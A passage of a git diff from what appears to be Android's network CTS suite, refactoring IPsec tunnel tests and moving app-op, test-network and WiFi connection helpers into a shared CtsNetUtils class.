     public static void setUpBeforeClass() throws Exception {
@@ -127,7 +114,7 @@
         // Under normal circumstances, the MANAGE_IPSEC_TUNNELS appop would be auto-granted, and
         // a standard permission is insufficient. So we shell out the appop, to give us the
         // right appop permissions.
-        setAppop(OP_MANAGE_IPSEC_TUNNELS, true);
+        mCtsNetUtils.setAppopPrivileged(OP_MANAGE_IPSEC_TUNNELS, true);
 
         TestNetworkInterface testIface =
                 sTNM.createTunInterface(
@@ -137,8 +124,9 @@
                         });
 
         sTunFd = testIface.getFileDescriptor();
-        sTunNetworkCallback = setupAndGetTestNetwork(testIface.getInterfaceName());
-        sTunNetwork = sTunNetworkCallback.getNetworkBlocking();
+        sTunNetworkCallback = mCtsNetUtils.setupAndGetTestNetwork(testIface.getInterfaceName());
+        sTunNetworkCallback.waitForAvailable();
+        sTunNetwork = sTunNetworkCallback.currentNetwork;
 
         sTunUtils = new TunUtils(sTunFd);
     }
@@ -149,7 +137,7 @@
         super.setUp();
 
         // Set to true before every run; some tests flip this.
-        setAppop(OP_MANAGE_IPSEC_TUNNELS, true);
+        mCtsNetUtils.setAppopPrivileged(OP_MANAGE_IPSEC_TUNNELS, true);
 
         // Clear sTunUtils state
         sTunUtils.reset();
@@ -157,7 +145,7 @@
 
     @AfterClass
     public static void tearDownAfterClass() throws Exception {
-        setAppop(OP_MANAGE_IPSEC_TUNNELS, false);
+        mCtsNetUtils.setAppopPrivileged(OP_MANAGE_IPSEC_TUNNELS, false);
 
         sCM.unregisterNetworkCallback(sTunNetworkCallback);
 
@@ -169,50 +157,12 @@
                 .dropShellPermissionIdentity();
     }
 
-    private static boolean hasTunnelsFeature() {
-        return sContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_IPSEC_TUNNELS)
-                || SystemProperties.getInt("ro.product.first_api_level", 0)
-                        >= Build.VERSION_CODES.Q;
-    }
-
-    private static void setAppop(int appop, boolean allow) {
-        String opName = AppOpsManager.opToName(appop);
-        for (String pkg : new String[] {"com.android.shell", sContext.getPackageName()}) {
-            String cmd =
-                    String.format(
-                            "appops set %s %s %s",
-                            pkg, // Package name
-                            opName, // Appop
-                            (allow ? "allow" : "deny")); // Action
-            SystemUtil.runShellCommand(cmd);
-        }
-    }
-
-    private static TestNetworkCallback setupAndGetTestNetwork(String ifname) throws Exception {
-        // Build a network request
-        NetworkRequest nr =
-                new NetworkRequest.Builder()
-                        .clearCapabilities()
-                        .addTransportType(TRANSPORT_TEST)
-                        .setNetworkSpecifier(ifname)
-                        .build();
-
-        TestNetworkCallback cb = new TestNetworkCallback();
-        sCM.requestNetwork(nr, cb);
-
-        // Setup the test network after network request is filed to prevent Network from being
-        // reaped due to no requests matching it.
-        sTNM.setupTestNetwork(ifname, sBinder);
-
-        return cb;
-    }
-
     @Test
     public void testSecurityExceptionCreateTunnelInterfaceWithoutAppop() throws Exception {
-        if (!hasTunnelsFeature()) return;
+        assumeTrue(mCtsNetUtils.hasIpsecTunnelsFeature());
 
         // Ensure we don't have the appop. Permission is not requested in the Manifest
-        setAppop(OP_MANAGE_IPSEC_TUNNELS, false);
+        mCtsNetUtils.setAppopPrivileged(OP_MANAGE_IPSEC_TUNNELS, false);
 
         // Security exceptions are thrown regardless of IPv4/IPv6. Just test one
         try {
@@ -224,10 +174,10 @@
 
     @Test
     public void testSecurityExceptionBuildTunnelTransformWithoutAppop() throws Exception {
-        if (!hasTunnelsFeature()) return;
+        assumeTrue(mCtsNetUtils.hasIpsecTunnelsFeature());
 
         // Ensure we don't have the appop. Permission is not requested in the Manifest
-        setAppop(OP_MANAGE_IPSEC_TUNNELS, false);
+        mCtsNetUtils.setAppopPrivileged(OP_MANAGE_IPSEC_TUNNELS, false);
 
         // Security exceptions are thrown regardless of IPv4/IPv6. Just test one
         try (IpSecManager.SecurityParameterIndex spi =
@@ -253,19 +203,6 @@
         public abstract int run(Network ipsecNetwork) throws Exception;
     }
 
-    private static class TestNetworkCallback extends ConnectivityManager.NetworkCallback {
-        private final CompletableFuture<Network> futureNetwork = new CompletableFuture<>();
-
-        @Override
-        public void onAvailable(Network network) {
-            futureNetwork.complete(network);
-        }
-
-        public Network getNetworkBlocking() throws Exception {
-            return futureNetwork.get(TIMEOUT_MS, TimeUnit.MILLISECONDS);
-        }
-    }
-
     private int getPacketSize(
             int innerFamily, int outerFamily, boolean useEncap, boolean transportInTunnelMode) {
         int expectedPacketSize = TEST_DATA.length + UDP_HDRLEN;
@@ -499,8 +436,6 @@
     public void checkTunnelReflected(
             int innerFamily, int outerFamily, boolean useEncap, boolean transportInTunnelMode)
             throws Exception {
-        if (!hasTunnelsFeature()) return;
-
         InetAddress localInner = innerFamily == AF_INET ? LOCAL_INNER_4 : LOCAL_INNER_6;
         InetAddress remoteInner = innerFamily == AF_INET ? REMOTE_INNER_4 : REMOTE_INNER_6;
 
@@ -580,7 +515,6 @@
             boolean transportInTunnelMode,
             IpSecTunnelTestRunnableFactory factory)
             throws Exception {
-        if (!hasTunnelsFeature()) return;
 
         InetAddress localInner = innerFamily == AF_INET ? LOCAL_INNER_4 : LOCAL_INNER_6;
         InetAddress remoteInner = innerFamily == AF_INET ? REMOTE_INNER_4 : REMOTE_INNER_6;
@@ -648,8 +582,9 @@
                         mISM.createIpSecTunnelInterface(localOuter, remoteOuter, sTunNetwork)) {
             // Build the test network
             tunnelIface.addAddress(localInner, innerPrefixLen);
-            testNetworkCb = setupAndGetTestNetwork(tunnelIface.getInterfaceName());
-            Network testNetwork = testNetworkCb.getNetworkBlocking();
+            testNetworkCb = mCtsNetUtils.setupAndGetTestNetwork(tunnelIface.getInterfaceName());
+            testNetworkCb.waitForAvailable();
+            Network testNetwork = testNetworkCb.currentNetwork;
 
             // Check interface was created
             assertNotNull(NetworkInterface.getByName(tunnelIface.getInterfaceName()));
@@ -718,18 +653,6 @@
         }
     }
 
-    private IpHeader getIpHeader(int protocol, InetAddress src, InetAddress dst, Payload payload) {
-        if ((src instanceof Inet6Address) != (dst instanceof Inet6Address)) {
-            throw new IllegalArgumentException("Invalid src/dst address combination");
-        }
-
-        if (src instanceof Inet6Address) {
-            return new Ip6Header(protocol, (Inet6Address) src, (Inet6Address) dst, payload);
-        } else {
-            return new Ip4Header(protocol, (Inet4Address) src, (Inet4Address) dst, payload);
-        }
-    }
-
     private EspHeader buildTransportModeEspPacket(
             int spi, InetAddress src, InetAddress dst, int port, Payload payload) throws Exception {
         IpHeader preEspIpHeader = getIpHeader(payload.getProtocolId(), src, dst, payload);
@@ -819,134 +742,158 @@
     // Transport-in-Tunnel mode tests
     @Test
     public void testTransportInTunnelModeV4InV4() throws Exception {
+        assumeTrue(mCtsNetUtils.hasIpsecTunnelsFeature());
         checkTunnelOutput(AF_INET, AF_INET, false, true);
         checkTunnelInput(AF_INET, AF_INET, false, true);
     }
 
     @Test
     public void testTransportInTunnelModeV4InV4Reflected() throws Exception {
+        assumeTrue(mCtsNetUtils.hasIpsecTunnelsFeature());
         checkTunnelReflected(AF_INET, AF_INET, false, true);
     }
 
     @Test
     public void testTransportInTunnelModeV4InV4UdpEncap() throws Exception {
+        assumeTrue(mCtsNetUtils.hasIpsecTunnelsFeature());
         checkTunnelOutput(AF_INET, AF_INET, true, true);
         checkTunnelInput(AF_INET, AF_INET, true, true);
     }
 
     @Test
     public void testTransportInTunnelModeV4InV4UdpEncapReflected() throws Exception {
+        assumeTrue(mCtsNetUtils.hasIpsecTunnelsFeature());
         checkTunnelReflected(AF_INET, AF_INET, false, true);
     }
 
     @Test
     public void testTransportInTunnelModeV4InV6() throws Exception {
+        assumeTrue(mCtsNetUtils.hasIpsecTunnelsFeature());
         checkTunnelOutput(AF_INET, AF_INET6, false, true);
         checkTunnelInput(AF_INET, AF_INET6, false, true);
     }
 
     @Test
     public void testTransportInTunnelModeV4InV6Reflected() throws Exception {
+        assumeTrue(mCtsNetUtils.hasIpsecTunnelsFeature());
         checkTunnelReflected(AF_INET, AF_INET, false, true);
     }
 
     @Test
     public void testTransportInTunnelModeV6InV4() throws Exception {
+        assumeTrue(mCtsNetUtils.hasIpsecTunnelsFeature());
         checkTunnelOutput(AF_INET6, AF_INET, false, true);
         checkTunnelInput(AF_INET6, AF_INET, false, true);
     }
 
     @Test
     public void testTransportInTunnelModeV6InV4Reflected() throws Exception {
+        assumeTrue(mCtsNetUtils.hasIpsecTunnelsFeature());
         checkTunnelReflected(AF_INET, AF_INET, false, true);
     }
 
     @Test
     public void testTransportInTunnelModeV6InV4UdpEncap() throws Exception {
+        assumeTrue(mCtsNetUtils.hasIpsecTunnelsFeature());
         checkTunnelOutput(AF_INET6, AF_INET, true, true);
         checkTunnelInput(AF_INET6, AF_INET, true, true);
     }
 
     @Test
     public void testTransportInTunnelModeV6InV4UdpEncapReflected() throws Exception {
+        assumeTrue(mCtsNetUtils.hasIpsecTunnelsFeature());
         checkTunnelReflected(AF_INET, AF_INET, false, true);
     }
 
     @Test
     public void testTransportInTunnelModeV6InV6() throws Exception {
+        assumeTrue(mCtsNetUtils.hasIpsecTunnelsFeature());
         checkTunnelOutput(AF_INET, AF_INET6, false, true);
         checkTunnelInput(AF_INET, AF_INET6, false, true);
     }
 
     @Test
     public void testTransportInTunnelModeV6InV6Reflected() throws Exception {
+        assumeTrue(mCtsNetUtils.hasIpsecTunnelsFeature());
         checkTunnelReflected(AF_INET, AF_INET, false, true);
     }
 
     // Tunnel mode tests
     @Test
     public void testTunnelV4InV4() throws Exception {
+        assumeTrue(mCtsNetUtils.hasIpsecTunnelsFeature());
         checkTunnelOutput(AF_INET, AF_INET, false, false);
         checkTunnelInput(AF_INET, AF_INET, false, false);
     }
 
     @Test
     public void testTunnelV4InV4Reflected() throws Exception {
+        assumeTrue(mCtsNetUtils.hasIpsecTunnelsFeature());
         checkTunnelReflected(AF_INET, AF_INET, false, false);
     }
 
     @Test
     public void testTunnelV4InV4UdpEncap() throws Exception {
+        assumeTrue(mCtsNetUtils.hasIpsecTunnelsFeature());
         checkTunnelOutput(AF_INET, AF_INET, true, false);
         checkTunnelInput(AF_INET, AF_INET, true, false);
     }
 
     @Test
     public void testTunnelV4InV4UdpEncapReflected() throws Exception {
+        assumeTrue(mCtsNetUtils.hasIpsecTunnelsFeature());
         checkTunnelReflected(AF_INET, AF_INET, true, false);
     }
 
     @Test
     public void testTunnelV4InV6() throws Exception {
+        assumeTrue(mCtsNetUtils.hasIpsecTunnelsFeature());
         checkTunnelOutput(AF_INET, AF_INET6, false, false);
         checkTunnelInput(AF_INET, AF_INET6, false, false);
     }
 
     @Test
     public void testTunnelV4InV6Reflected() throws Exception {
+        assumeTrue(mCtsNetUtils.hasIpsecTunnelsFeature());
         checkTunnelReflected(AF_INET, AF_INET6, false, false);
     }
 
     @Test
     public void testTunnelV6InV4() throws Exception {
+        assumeTrue(mCtsNetUtils.hasIpsecTunnelsFeature());
         checkTunnelOutput(AF_INET6, AF_INET, false, false);
         checkTunnelInput(AF_INET6, AF_INET, false, false);
     }
 
     @Test
     public void testTunnelV6InV4Reflected() throws Exception {
+        assumeTrue(mCtsNetUtils.hasIpsecTunnelsFeature());
         checkTunnelReflected(AF_INET6, AF_INET, false, false);
     }
 
     @Test
     public void testTunnelV6InV4UdpEncap() throws Exception {
+        assumeTrue(mCtsNetUtils.hasIpsecTunnelsFeature());
         checkTunnelOutput(AF_INET6, AF_INET, true, false);
         checkTunnelInput(AF_INET6, AF_INET, true, false);
     }
 
     @Test
     public void testTunnelV6InV4UdpEncapReflected() throws Exception {
+        assumeTrue(mCtsNetUtils.hasIpsecTunnelsFeature());
         checkTunnelReflected(AF_INET6, AF_INET, true, false);
     }
 
     @Test
     public void testTunnelV6InV6() throws Exception {
+        assumeTrue(mCtsNetUtils.hasIpsecTunnelsFeature());
         checkTunnelOutput(AF_INET6, AF_INET6, false, false);
         checkTunnelInput(AF_INET6, AF_INET6, false, false);
     }
 
     @Test
     public void testTunnelV6InV6Reflected() throws Exception {
+        assumeTrue(mCtsNetUtils.hasIpsecTunnelsFeature());
         checkTunnelReflected(AF_INET6, AF_INET6, false, false);
     }
 }
diff --git a/tests/tests/net/src/android/net/cts/MultinetworkApiTest.java b/tests/tests/net/src/android/net/cts/MultinetworkApiTest.java
index 985e313..6d3db89 100644
--- a/tests/tests/net/src/android/net/cts/MultinetworkApiTest.java
+++ b/tests/tests/net/src/android/net/cts/MultinetworkApiTest.java
@@ -68,7 +68,6 @@
         mCM = (ConnectivityManager) getContext().getSystemService(Context.CONNECTIVITY_SERVICE);
         mCR = getContext().getContentResolver();
         mCtsNetUtils = new CtsNetUtils(getContext());
-        mCtsNetUtils.storePrivateDnsSetting();
     }
 
     @Override
@@ -223,6 +222,7 @@
 
     @AppModeFull(reason = "WRITE_SECURE_SETTINGS permission can't be granted to instant apps")
     public void testResNApiNXDomainPrivateDns() throws InterruptedException {
+        mCtsNetUtils.storePrivateDnsSetting();
         // Enable private DNS strict mode and set server to dns.google before doing NxDomain test.
         // b/144521720
         try {
diff --git a/tests/tests/net/src/android/net/cts/NetworkStatsBinderTest.java b/tests/tests/net/src/android/net/cts/NetworkStatsBinderTest.java
index 1f3162f..1a48983 100644
--- a/tests/tests/net/src/android/net/cts/NetworkStatsBinderTest.java
+++ b/tests/tests/net/src/android/net/cts/NetworkStatsBinderTest.java
@@ -18,12 +18,15 @@
 
 import static android.os.Process.INVALID_UID;
 
+import static org.junit.Assert.assertEquals;
+
 import android.annotation.NonNull;
 import android.content.Context;
 import android.content.pm.PackageInfo;
 import android.content.pm.PackageManager;
 import android.net.INetworkStatsService;
 import android.net.TrafficStats;
+import android.os.Build;
 import android.os.IBinder;
 import android.os.Process;
 import android.os.RemoteException;
@@ -31,8 +34,15 @@
 import android.util.SparseArray;
 
 import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
 
 import com.android.internal.util.CollectionUtils;
+import com.android.testutils.DevSdkIgnoreRule;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 import java.lang.reflect.InvocationTargetException;
 import java.lang.reflect.Method;
@@ -41,17 +51,22 @@
 import java.util.function.Function;
 import java.util.function.Predicate;
 
-public class NetworkStatsBinderTest extends AndroidTestCase {
+@RunWith(AndroidJUnit4.class)
+public class NetworkStatsBinderTest {
     // NOTE: These are shamelessly copied from TrafficStats.
     private static final int TYPE_RX_BYTES = 0;
     private static final int TYPE_RX_PACKETS = 1;
     private static final int TYPE_TX_BYTES = 2;
     private static final int TYPE_TX_PACKETS = 3;
 
+    @Rule
+    public DevSdkIgnoreRule mIgnoreRule = new DevSdkIgnoreRule(
+            Build.VERSION_CODES.Q /* ignoreClassUpTo */);
+
     private final SparseArray<Function<Integer, Long>> mUidStatsQueryOpArray = new SparseArray<>();
 
-    @Override
-    protected void setUp() throws Exception {
+    @Before
+    public void setUp() throws Exception {
         mUidStatsQueryOpArray.put(TYPE_RX_BYTES, uid -> TrafficStats.getUidRxBytes(uid));
         mUidStatsQueryOpArray.put(TYPE_RX_PACKETS, uid -> TrafficStats.getUidRxPackets(uid));
         mUidStatsQueryOpArray.put(TYPE_TX_BYTES, uid -> TrafficStats.getUidTxBytes(uid));
@@ -75,6 +90,7 @@
         return INVALID_UID;
     }
 
+    @Test
     public void testAccessUidStatsFromBinder() throws Exception {
         final int myUid = Process.myUid();
         final List<Integer> testUidList = new ArrayList<>();
diff --git a/tests/tests/net/src/android/net/cts/PacketUtils.java b/tests/tests/net/src/android/net/cts/PacketUtils.java
index 6177827..0aedecb5 100644
--- a/tests/tests/net/src/android/net/cts/PacketUtils.java
+++ b/tests/tests/net/src/android/net/cts/PacketUtils.java
@@ -27,6 +27,7 @@
 import java.security.GeneralSecurityException;
 import java.security.SecureRandom;
 import java.util.Arrays;
+
 import javax.crypto.Cipher;
 import javax.crypto.Mac;
 import javax.crypto.spec.IvParameterSpec;
@@ -443,6 +444,19 @@
         return Arrays.copyOfRange(buffer.array(), 0, buffer.position());
     }
 
+    public static IpHeader getIpHeader(
+            int protocol, InetAddress src, InetAddress dst, Payload payload) {
+        if ((src instanceof Inet6Address) != (dst instanceof Inet6Address)) {
+            throw new IllegalArgumentException("Invalid src/dst address combination");
+        }
+
+        if (src instanceof Inet6Address) {
+            return new Ip6Header(protocol, (Inet6Address) src, (Inet6Address) dst, payload);
+        } else {
+            return new Ip4Header(protocol, (Inet4Address) src, (Inet4Address) dst, payload);
+        }
+    }
+
     /*
      * Debug printing
      */
diff --git a/tests/tests/net/src/android/net/cts/TunUtils.java b/tests/tests/net/src/android/net/cts/TunUtils.java
index a030713..adaba9d 100644
--- a/tests/tests/net/src/android/net/cts/TunUtils.java
+++ b/tests/tests/net/src/android/net/cts/TunUtils.java
@@ -21,8 +21,8 @@
 import static android.net.cts.PacketUtils.IPPROTO_ESP;
 import static android.net.cts.PacketUtils.UDP_HDRLEN;
 import static android.system.OsConstants.IPPROTO_UDP;
+
 import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.fail;
 
 import android.os.ParcelFileDescriptor;
@@ -39,19 +39,18 @@
 public class TunUtils {
     private static final String TAG = TunUtils.class.getSimpleName();
 
+    protected static final int IP4_ADDR_OFFSET = 12;
+    protected static final int IP4_ADDR_LEN = 4;
+    protected static final int IP6_ADDR_OFFSET = 8;
+    protected static final int IP6_ADDR_LEN = 16;
+    protected static final int IP4_PROTO_OFFSET = 9;
+    protected static final int IP6_PROTO_OFFSET = 6;
+
     private static final int DATA_BUFFER_LEN = 4096;
-    private static final int TIMEOUT = 100;
+    private static final int TIMEOUT = 1000;
 
-    private static final int IP4_PROTO_OFFSET = 9;
-    private static final int IP6_PROTO_OFFSET = 6;
-
-    private static final int IP4_ADDR_OFFSET = 12;
-    private static final int IP4_ADDR_LEN = 4;
-    private static final int IP6_ADDR_OFFSET = 8;
-    private static final int IP6_ADDR_LEN = 16;
-
-    private final ParcelFileDescriptor mTunFd;
     private final List<byte[]> mPackets = new ArrayList<>();
+    private final ParcelFileDescriptor mTunFd;
     private final Thread mReaderThread;
 
     public TunUtils(ParcelFileDescriptor tunFd) {
@@ -112,46 +111,15 @@
         return null;
     }
 
-    /**
-     * Checks if the specified bytes were ever sent in plaintext.
-     *
-     * <p>Only checks for known plaintext bytes to prevent triggering on ICMP/RA packets or the like
-     *
-     * @param plaintext the plaintext bytes to check for
-     * @param startIndex the index in the list to check for
-     */
-    public boolean hasPlaintextPacket(byte[] plaintext, int startIndex) {
-        Predicate<byte[]> verifier =
-                (pkt) -> {
-                    return Collections.indexOfSubList(Arrays.asList(pkt), Arrays.asList(plaintext))
-                            != -1;
-                };
-        return getFirstMatchingPacket(verifier, startIndex) != null;
-    }
-
-    public byte[] getEspPacket(int spi, boolean encap, int startIndex) {
-        return getFirstMatchingPacket(
-                (pkt) -> {
-                    return isEsp(pkt, spi, encap);
-                },
-                startIndex);
-    }
-
-    public byte[] awaitEspPacketNoPlaintext(
-            int spi, byte[] plaintext, boolean useEncap, int expectedPacketSize) throws Exception {
+    protected byte[] awaitPacket(Predicate<byte[]> verifier) throws Exception {
         long endTime = System.currentTimeMillis() + TIMEOUT;
         int startIndex = 0;
 
         synchronized (mPackets) {
             while (System.currentTimeMillis() < endTime) {
-                byte[] espPkt = getEspPacket(spi, useEncap, startIndex);
-                if (espPkt != null) {
-                    // Validate packet size
-                    assertEquals(expectedPacketSize, espPkt.length);
-
-                    // Always check plaintext from start
-                    assertFalse(hasPlaintextPacket(plaintext, 0));
-                    return espPkt; // We've found the packet we're looking for.
+                final byte[] pkt = getFirstMatchingPacket(verifier, startIndex);
+                if (pkt != null) {
+                    return pkt; // We've found the packet we're looking for.
                 }
 
                 startIndex = mPackets.size();
@@ -162,10 +130,21 @@
                     mPackets.wait(waitTimeout);
                 }
             }
-
-            fail("No such ESP packet found with SPI " + spi);
         }
-        return null;
+
+        fail("No packet found matching verifier");
+        throw new IllegalStateException("Impossible condition; should have thrown in fail()");
+    }
+
+    public byte[] awaitEspPacketNoPlaintext(
+            int spi, byte[] plaintext, boolean useEncap, int expectedPacketSize) throws Exception {
+        final byte[] espPkt = awaitPacket(
+                (pkt) -> isEspFailIfSpecifiedPlaintextFound(pkt, spi, useEncap, plaintext));
+
+        // Validate packet size
+        assertEquals(expectedPacketSize, espPkt.length);
+
+        return espPkt; // We've found the packet we're looking for.
     }
 
     private static boolean isSpiEqual(byte[] pkt, int espOffset, int spi) {
@@ -176,6 +155,24 @@
                 && pkt[espOffset + 3] == (byte) (spi & 0xff);
     }
 
+    /**
+     * Variant of isEsp that also fails the test if the provided plaintext is found
+     *
+     * @param pkt the packet bytes to verify
+     * @param spi the expected SPI to look for
+     * @param encap whether encap was enabled, and the packet has a UDP header
+     * @param plaintext the plaintext packet before outbound encryption, which MUST not appear in
+     *     the provided packet.
+     */
+    private static boolean isEspFailIfSpecifiedPlaintextFound(
+            byte[] pkt, int spi, boolean encap, byte[] plaintext) {
+        if (Collections.indexOfSubList(Arrays.asList(pkt), Arrays.asList(plaintext)) != -1) {
+            fail("Banned plaintext packet found");
+        }
+
+        return isEsp(pkt, spi, encap);
+    }
+
     private static boolean isEsp(byte[] pkt, int spi, boolean encap) {
         if (isIpv6(pkt)) {
             // IPv6 UDP encap not supported by kernels; assume non-encap.
@@ -191,7 +188,7 @@
         }
     }
 
-    private static boolean isIpv6(byte[] pkt) {
+    public static boolean isIpv6(byte[] pkt) {
         // First nibble shows IP version. 0x60 for IPv6
         return (pkt[0] & (byte) 0xF0) == (byte) 0x60;
     }
diff --git a/tests/tests/net/util/java/android/net/cts/util/CtsNetUtils.java b/tests/tests/net/util/java/android/net/cts/util/CtsNetUtils.java
index f39b184..85d2113 100644
--- a/tests/tests/net/util/java/android/net/cts/util/CtsNetUtils.java
+++ b/tests/tests/net/util/java/android/net/cts/util/CtsNetUtils.java
@@ -20,6 +20,7 @@
 import static android.net.ConnectivityManager.PRIVATE_DNS_MODE_OPPORTUNISTIC;
 import static android.net.NetworkCapabilities.NET_CAPABILITY_INTERNET;
 import static android.net.NetworkCapabilities.TRANSPORT_CELLULAR;
+import static android.net.NetworkCapabilities.TRANSPORT_TEST;
 
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertNotNull;
@@ -27,11 +28,13 @@
 import static org.junit.Assert.fail;
 
 import android.annotation.NonNull;
+import android.app.AppOpsManager;
 import android.content.BroadcastReceiver;
-import android.content.Context;
 import android.content.ContentResolver;
+import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
+import android.content.pm.PackageManager;
 import android.net.ConnectivityManager;
 import android.net.ConnectivityManager.NetworkCallback;
 import android.net.LinkProperties;
@@ -40,7 +43,14 @@
 import android.net.NetworkInfo;
 import android.net.NetworkInfo.State;
 import android.net.NetworkRequest;
+import android.net.TestNetworkManager;
+import android.net.wifi.WifiConfiguration;
+import android.net.wifi.WifiInfo;
 import android.net.wifi.WifiManager;
+import android.os.Binder;
+import android.os.Build;
+import android.os.IBinder;
+import android.os.SystemProperties;
 import android.provider.Settings;
 import android.system.Os;
 import android.system.OsConstants;
@@ -73,6 +83,7 @@
     public static final String NETWORK_CALLBACK_ACTION =
             "ConnectivityManagerTest.NetworkCallbackAction";
 
+    private final IBinder mBinder = new Binder();
     private final Context mContext;
     private final ConnectivityManager mCm;
     private final ContentResolver mCR;
@@ -88,6 +99,51 @@
         mCR = context.getContentResolver();
     }
 
+    /** Checks if FEATURE_IPSEC_TUNNELS is enabled on the device */
+    public boolean hasIpsecTunnelsFeature() {
+        return mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_IPSEC_TUNNELS)
+                || SystemProperties.getInt("ro.product.first_api_level", 0)
+                        >= Build.VERSION_CODES.Q;
+    }
+
+    /**
+     * Sets the given appop using shell commands
+     *
+     * <p>Expects caller to hold the shell permission identity.
+     */
+    public void setAppopPrivileged(int appop, boolean allow) {
+        final String opName = AppOpsManager.opToName(appop);
+        for (final String pkg : new String[] {"com.android.shell", mContext.getPackageName()}) {
+            final String cmd =
+                    String.format(
+                            "appops set %s %s %s",
+                            pkg, // Package name
+                            opName, // Appop
+                            (allow ? "allow" : "deny")); // Action
+            SystemUtil.runShellCommand(cmd);
+        }
+    }
+
+    /** Sets up a test network using the provided interface name */
+    public TestNetworkCallback setupAndGetTestNetwork(String ifname) throws Exception {
+        // Build a network request
+        final NetworkRequest nr =
+                new NetworkRequest.Builder()
+                        .clearCapabilities()
+                        .addTransportType(TRANSPORT_TEST)
+                        .setNetworkSpecifier(ifname)
+                        .build();
+
+        final TestNetworkCallback cb = new TestNetworkCallback();
+        mCm.requestNetwork(nr, cb);
+
+        // Setup the test network after network request is filed to prevent Network from being
+        // reaped due to no requests matching it.
+        mContext.getSystemService(TestNetworkManager.class).setupTestNetwork(ifname, mBinder);
+
+        return cb;
+    }
+
     // Toggle WiFi twice, leaving it in the state it started in
     public void toggleWifi() {
         if (mWifiManager.isWifiEnabled()) {
@@ -101,8 +157,36 @@
         }
     }
 
-    /** Enable WiFi and wait for it to become connected to a network. */
+    /**
+     * Enable WiFi and wait for it to become connected to a network.
+     *
+     * This method expects to receive a legacy broadcast on connect, which may not be sent if the
+     * network does not become default or if it is not the first network.
+     */
     public Network connectToWifi() {
+        return connectToWifi(true /* expectLegacyBroadcast */);
+    }
+
+    /**
+     * Enable WiFi and wait for it to become connected to a network.
+     *
+     * A network is considered connected when a {@link NetworkCallback#onAvailable(Network)}
+     * callback is received.
+     */
+    public Network ensureWifiConnected() {
+        return connectToWifi(false /* expectLegacyBroadcast */);
+    }
+
+    /**
+     * Enable WiFi and wait for it to become connected to a network.
+     *
+     * @param expectLegacyBroadcast Whether to check for a legacy CONNECTIVITY_ACTION connected
+     *                              broadcast. The broadcast is typically not sent if the network
+     *                              does not become the default network, and is not the first
+     *                              network to appear.
+     * @return The network that was newly connected.
+     */
+    private Network connectToWifi(boolean expectLegacyBroadcast) {
         final TestNetworkCallback callback = new TestNetworkCallback();
         mCm.registerNetworkCallback(makeWifiNetworkRequest(), callback);
         Network wifiNetwork = null;
@@ -114,14 +198,16 @@
         mContext.registerReceiver(receiver, filter);
 
         boolean connected = false;
+        final String err = "Wifi must be configured to connect to an access point for this test.";
         try {
+            clearWifiBlacklist();
             SystemUtil.runShellCommand("svc wifi enable");
             SystemUtil.runWithShellPermissionIdentity(() -> mWifiManager.reconnect(),
                     NETWORK_SETTINGS);
-            // Ensure we get both an onAvailable callback and a CONNECTIVITY_ACTION.
+            // Ensure we get an onAvailable callback and possibly a CONNECTIVITY_ACTION.
             wifiNetwork = callback.waitForAvailable();
-            assertNotNull(wifiNetwork);
-            connected = receiver.waitForState();
+            assertNotNull(err, wifiNetwork);
+            connected = !expectLegacyBroadcast || receiver.waitForState();
         } catch (InterruptedException ex) {
             fail("connectToWifi was interrupted");
         } finally {
@@ -129,16 +215,66 @@
             mContext.unregisterReceiver(receiver);
         }
 
-        assertTrue("Wifi must be configured to connect to an access point for this test.",
-                connected);
+        assertTrue(err, connected);
         return wifiNetwork;
     }
 
-    /** Disable WiFi and wait for it to become disconnected from the network. */
+    /**
+     * Re-enable wifi networks that were blacklisted, typically because no internet connection was
+     * detected the last time they were connected. This is necessary to make sure wifi can reconnect
+     * to them.
+     */
+    private void clearWifiBlacklist() {
+        SystemUtil.runWithShellPermissionIdentity(() -> {
+            for (WifiConfiguration config : mWifiManager.getConfiguredNetworks()) {
+                mWifiManager.enableNetwork(config.networkId, false /* attemptConnect */);
+            }
+        });
+    }
+
+    /**
+     * Disable WiFi and wait for it to become disconnected from the network.
+     *
+     * This method expects to receive a legacy broadcast on disconnect, which may not be sent if the
+     * network was not default, or was not the first network.
+     *
+     * @param wifiNetworkToCheck If non-null, a network that should be disconnected. This network
+     *                           is expected to be able to establish a TCP connection to a remote
+     *                           server before disconnecting, and to have that connection closed in
+     *                           the process.
+     */
     public void disconnectFromWifi(Network wifiNetworkToCheck) {
+        disconnectFromWifi(wifiNetworkToCheck, true /* expectLegacyBroadcast */);
+    }
+
+    /**
+     * Disable WiFi and wait for it to become disconnected from the network.
+     *
+     * @param wifiNetworkToCheck If non-null, a network that should be disconnected. This network
+     *                           is expected to be able to establish a TCP connection to a remote
+     *                           server before disconnecting, and to have that connection closed in
+     *                           the process.
+     */
+    public void ensureWifiDisconnected(Network wifiNetworkToCheck) {
+        disconnectFromWifi(wifiNetworkToCheck, false /* expectLegacyBroadcast */);
+    }
+
+    /**
+     * Disable WiFi and wait for it to become disconnected from the network.
+     *
+     * @param wifiNetworkToCheck If non-null, a network that should be disconnected. This network
+     *                           is expected to be able to establish a TCP connection to a remote
+     *                           server before disconnecting, and to have that connection closed in
+     *                           the process.
+     * @param expectLegacyBroadcast Whether to check for a legacy CONNECTIVITY_ACTION disconnected
+     *                              broadcast. The broadcast is typically not sent if the network
+     *                              was not the default network and not the first network to appear.
+     *                              The check will always be skipped if the device was not connected
+     *                              to wifi in the first place.
+     */
+    private void disconnectFromWifi(Network wifiNetworkToCheck, boolean expectLegacyBroadcast) {
         final TestNetworkCallback callback = new TestNetworkCallback();
         mCm.registerNetworkCallback(makeWifiNetworkRequest(), callback);
-        Network lostWifiNetwork = null;
 
         ConnectivityActionReceiver receiver = new ConnectivityActionReceiver(
                 mCm, ConnectivityManager.TYPE_WIFI, NetworkInfo.State.DISCONNECTED);
@@ -146,9 +282,15 @@
         filter.addAction(ConnectivityManager.CONNECTIVITY_ACTION);
         mContext.registerReceiver(receiver, filter);
 
+        final WifiInfo wifiInfo = mWifiManager.getConnectionInfo();
+        final boolean wasWifiConnected = wifiInfo != null && wifiInfo.getNetworkId() != -1;
         // Assert that we can establish a TCP connection on wifi.
         Socket wifiBoundSocket = null;
         if (wifiNetworkToCheck != null) {
